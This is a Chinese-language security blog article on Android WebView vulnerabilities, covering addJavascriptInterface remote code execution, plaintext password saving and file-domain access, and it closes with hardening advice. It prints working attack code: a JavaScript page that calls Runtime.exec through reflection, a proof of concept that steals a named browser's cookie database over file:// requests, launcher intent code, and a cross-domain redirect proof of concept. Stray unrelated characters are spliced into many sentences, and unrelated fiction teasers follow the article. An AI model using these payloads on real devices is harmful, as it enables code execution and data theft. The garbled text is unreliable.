Android安全開發(fā)之WebView中的地雷

0X01 About WebView

在Android開發(fā)中,經(jīng)常會使用WebView來實現(xiàn)WEB頁面的展示,在Activiry中啟動自己的瀏覽器膀藐,或者簡單的展示一些在線內(nèi)容等。WebView功能強大,應用廣泛落君,但它是天使與惡魔的合體,一方面它增強了APP的上網(wǎng)體驗亭引,讓APP功能更多樣化绎速,另一方面它也引入了很多的安全問題。在過去幾年WebView中被披露的重大漏洞包括了任意代碼執(zhí)行漏洞焙蚓、跨域纹冤、密碼明文保存等洒宝,這些安全問題可以直接導致用戶敏感信息泄露,移動終端被惡意攻擊者控制萌京。下文將詳細介紹這一系列安全問題雁歌,羅列相關的一些案列,并提供相應安全開發(fā)建議知残。

0X02 WebView任意代碼執(zhí)行漏洞

已知的WebView任意代碼執(zhí)行漏洞有4個靠瞎。較早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會引起遠程代碼執(zhí)行漏洞求妹。接著是CVE-2013-4710乏盐,針對某些特定機型會存在addJavascriptInterface

API引起的遠程代碼執(zhí)行漏洞。之后是CVE-2014-1939爆出WebView中內(nèi)置導出的“searchBoxJavaBridge_”Java Object可能被利用制恍,實現(xiàn)遠程任意代碼父能。再后來是CVE-2014-7224,類似于CVE-2014-1939吧趣,WebView內(nèi)置導出“accessibility”和“accessibilityTraversal”兩個Java Object接口法竞,可被利用實現(xiàn)遠程任意代碼執(zhí)行。

后文我們將圍繞下面這段常見的示例代碼展開:

WebView mWebView =(WebView)findViewById(R.id.webView);

①WebSettingsmsetting = mWebView.getSettings();

②msetting.setJavaScriptEnabled(true);

③mWebView.addJavascriptInterface(new TestAddJsInterface(),"myjs");

④mWebView.loadUrl(getIntent().getStringExtra("url"));

CVE-2012-6636

Android系統(tǒng)為了方便APP中Java代碼和網(wǎng)頁中的Javascript腳本交互强挫,在WebView控件中實現(xiàn)了addJavascriptInterface接口岔霸,對應示例代碼中的③,網(wǎng)頁中的JS腳本可以利用接口“myjs”調(diào)用App中的Java代碼俯渤,而Java對象繼承關系會導致很多Public的函數(shù)及getClass函數(shù)都可以在JS中被訪問呆细,結(jié)合Java的反射機制,攻擊者還可以獲得系統(tǒng)類的函數(shù)八匠,進而可以進行任意代碼執(zhí)行絮爷。漏洞在2013年8月被披露后,很多APP都中招梨树,其中瀏覽器APP成為重災區(qū)坑夯。但截至目前任有很多APP中依然存在此漏洞,與以往不同的只是攻擊入口發(fā)生了一定的變化抡四。另外我們也發(fā)現(xiàn)一些小廠商的APP開發(fā)團隊因為缺乏安全意識柜蜈,依然還在APP中隨心所欲的使用addjs接口,明目張膽踩雷指巡。

出于安全考慮淑履,Google在API 17中規(guī)定允許被調(diào)用的函數(shù)必須以@JavascriptInterface進行注解,理論上如果APP依賴的API為17或者以上藻雪,就不會受該問題的影響秘噪。但部分機型上,API 17依然受影響勉耀,并且如果APP存在此漏洞指煎,且targetsdk小于17蹋偏,那漏洞的影響可以覆蓋到android4.4的終端,如果大于等于17,只能在android4.2的機型上觸發(fā)贯要,所以前一種情況的危害目前來看依舊很大暖侨。

CVE-2014-1939

在2014年發(fā)現(xiàn)在Android4.4以下的系統(tǒng)中,webkit中默認內(nèi)置了“searchBoxJavaBridge_”崇渗, 代碼位于“java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執(zhí)行的威脅京郑。

CVE-2014-7224

在2014年宅广,研究人員Daoyuan Wu和Rocky Chang發(fā)現(xiàn),當系統(tǒng)輔助功能服務被開啟時些举,在Android4.4以下的系統(tǒng)中跟狱,由系統(tǒng)提供的WebView組件都默認導出"accessibility"和"accessibilityTraversal"這兩個接口,代碼位于“android/webkit/AccessibilityInjector.java”户魏,這兩個接口同樣存在遠程任意代碼執(zhí)行的威脅驶臊。

常見掛馬頁面

function addJsHack(cmdArgs){

for (var obj in window)

{?try {

if ("getClass" inwindow[obj]) {

try{

window[obj].getClass().forName("java.lang.Runtime").

getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;

}catch(e){

}

}

} catch(e) {

}

}

}

addJsHack()

掃碼攻擊

圖片來自于某漏洞收集平臺,通過二維碼掃描觸發(fā)WebView任意代碼執(zhí)行漏洞:

以聚美優(yōu)品為例Ver 3.305叼丑,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C关翎,相關代碼位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:

publicvoid initWebView(Activity activity, String str, LinearLayout linearLayout,IWebViewNotify iWebViewNotify) {

......

this.wapView.addJavascriptInterface(newWebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);

}

0X03 WebView密碼明文存儲漏洞

WebView默認開啟密碼保存功能mWebView.setSavePassword(true),如果該功能未關閉鸠信,在用戶輸入密碼時纵寝,會彈出提示框,詢問用戶是否保存密碼星立,如果選擇"是"爽茴,密碼會被明文保到/data/data/com.package.name/databases/webview.db

0X04 WebView域控制不嚴格漏洞

setAllowFileAccess

Android中默認mWebView.setAllowFileAccess(true),在File域下绰垂,能夠執(zhí)行任意的JavaScript代碼室奏,同源策略跨域訪問能夠?qū)λ接心夸浳募M行訪問等。APP對嵌入的WebView未對file:///形式的URL做限制劲装,會導致隱私信息泄露胧沫,針對IM類軟件會導致聊天信息、聯(lián)系人等等重要信息泄露酱畅,針對瀏覽器類軟件琳袄,則更多的是cookie信息泄露。

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默認是setAllowFileAccessFromFileURLs(true),允許通過file域url中的Javascript讀取其他本地文件纺酸,在JELLY_BEAN及以后的版本中默認已被是禁止窖逗。

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默認是setAllowUniversalAccessFromFileURLs(true),允許通過file域url中的Javascript訪問其他的源,包括其他的本地文件和http,https源的數(shù)據(jù)餐蔬。在JELLY_BEAN及以后的版本中默認已被禁止碎紊。

360手機瀏覽器缺陷可導致用戶敏感數(shù)據(jù)泄漏

以360手機瀏覽器4.8版本為例佑附,由于未對file域做安全限制,惡意APP調(diào)用360瀏覽器加載本地的攻擊頁面(比如惡意APP釋放到SDCARD上的一個HTML)后仗考,就可以獲取360手機瀏覽器下的所有私有數(shù)據(jù)音同,包括webviewCookiesChromium.db下的cookie內(nèi)容,攻擊頁面關鍵代碼:

functiongetDatabase() {

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

}

xmlhttp = request;

var prefix = "file:////data/data/com.qihoo.browser/databases";

var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

var path = prefix.concat(postfix);

//獲取本地文件代碼

xmlhttp.open("GET", path, false);

xmlhttp.send(null);

var ret = xmlhttp.responseText;

return ret;

}

漏洞利用代碼:

copyFile();

//自定義函數(shù)秃嗜,釋放filehehe.html到sd卡上

String url= "file:///mnt/sdcard/filehehe.html";

IntentcontIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intentintent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

0X05 WebView file跨域漏洞

Android 2.3 webkit或者瀏覽器APP自建內(nèi)核中會存在此類跨域漏洞权均。在處理轉(zhuǎn)跳時存在漏洞,導致允許從http域跨向file域锅锨,實現(xiàn)跨域漏洞叽赊。以某瀏覽器4.5.0.511版本為例,寫一個html必搞,命名為filereach.html必指,存放在服務器上。該瀏覽器4.5.0.511的X5內(nèi)核存在http域跨file域的漏洞恕洲。POC代碼如下所示:

function init(){

f.location = "file:///default.prop";

}

setTimeout(init,5000)

在瀏覽器中打開服務器上的filereach.html塔橡,將從http域跳轉(zhuǎn)到file域

0X06安全開發(fā)建議

1)使用騰訊御安全類漏洞掃描工具進行基礎開發(fā)漏洞檢測定位;

2)建議開發(fā)者通過以下方式移除該JavaScript接口:

removeJavascriptInterface("searchBoxJavaBridge_")

removeJavascriptInterface("accessibility")霜第;

removeJavascriptInterface("accessibilityTraversal")

3)出于安全考慮葛家,為了防止Java層的函數(shù)被隨便調(diào)用,Google在4.2版本之后,規(guī)定允許被調(diào)用的函數(shù)必須以@JavascriptInterface進行注解

4)通過WebSettings.setSavePassword(false)關閉密碼保存提醒功能

5)通過以下設置庶诡,防止越權訪問惦银,跨域等安全問題:

setAllowFileAccess(false)

setAllowFileAccessFromFileURLs(false)

setAllowUniversalAccessFromFileURLs(false)

0X07參考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

來源:御安全技術博客 http://blog.yaq.qq.com/detail/10

最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市末誓,隨后出現(xiàn)的幾起案子扯俱,更是在濱河造成了極大的恐慌,老刑警劉巖喇澡,帶你破解...
    沈念sama閱讀 219,039評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件迅栅,死亡現(xiàn)場離奇詭異,居然都是意外死亡晴玖,警方通過查閱死者的電腦和手機读存,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,426評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來呕屎,“玉大人让簿,你說我怎么就攤上這事⌒憔Γ” “怎么了尔当?”我有些...
    開封第一講書人閱讀 165,417評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長蹂安。 經(jīng)常有香客問我椭迎,道長锐帜,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,868評論 1 295
  • 正文 為了忘掉前任畜号,我火速辦了婚禮缴阎,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘简软。我一直安慰自己蛮拔,他們只是感情好,可當我...
    茶點故事閱讀 67,892評論 6 392
  • 文/花漫 我一把揭開白布替饿。 她就那樣靜靜地躺著语泽,像睡著了一般。 火紅的嫁衣襯著肌膚如雪视卢。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,692評論 1 305
  • 那天廊驼,我揣著相機與錄音据过,去河邊找鬼。 笑死妒挎,一個胖子當著我的面吹牛绳锅,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播酝掩,決...
    沈念sama閱讀 40,416評論 3 419
  • 文/蒼蘭香墨 我猛地睜開眼鳞芙,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了期虾?” 一聲冷哼從身側(cè)響起原朝,我...
    開封第一講書人閱讀 39,326評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎镶苞,沒想到半個月后喳坠,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,782評論 1 316
  • 正文 獨居荒郊野嶺守林人離奇死亡茂蚓,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,957評論 3 337
  • 正文 我和宋清朗相戀三年壕鹉,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片聋涨。...
    茶點故事閱讀 40,102評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡晾浴,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出牍白,到底是詐尸還是另有隱情脊凰,我是刑警寧澤,帶...
    沈念sama閱讀 35,790評論 5 346
  • 正文 年R本政府宣布淹朋,位于F島的核電站笙各,受9級特大地震影響钉答,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜杈抢,卻給世界環(huán)境...
    茶點故事閱讀 41,442評論 3 331
  • 文/蒙蒙 一数尿、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧惶楼,春花似錦右蹦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,996評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至豹储,卻和暖如春贷盲,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背剥扣。 一陣腳步聲響...
    開封第一講書人閱讀 33,113評論 1 272
  • 我被黑心中介騙來泰國打工巩剖, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人钠怯。 一個月前我還...
    沈念sama閱讀 48,332評論 3 373
  • 正文 我出身青樓佳魔,卻偏偏與公主長得像,于是被迫代替她去往敵國和親晦炊。 傳聞我的和親對象是個殘疾皇子鞠鲜,可洞房花燭夜當晚...
    茶點故事閱讀 45,044評論 2 355

推薦閱讀更多精彩內(nèi)容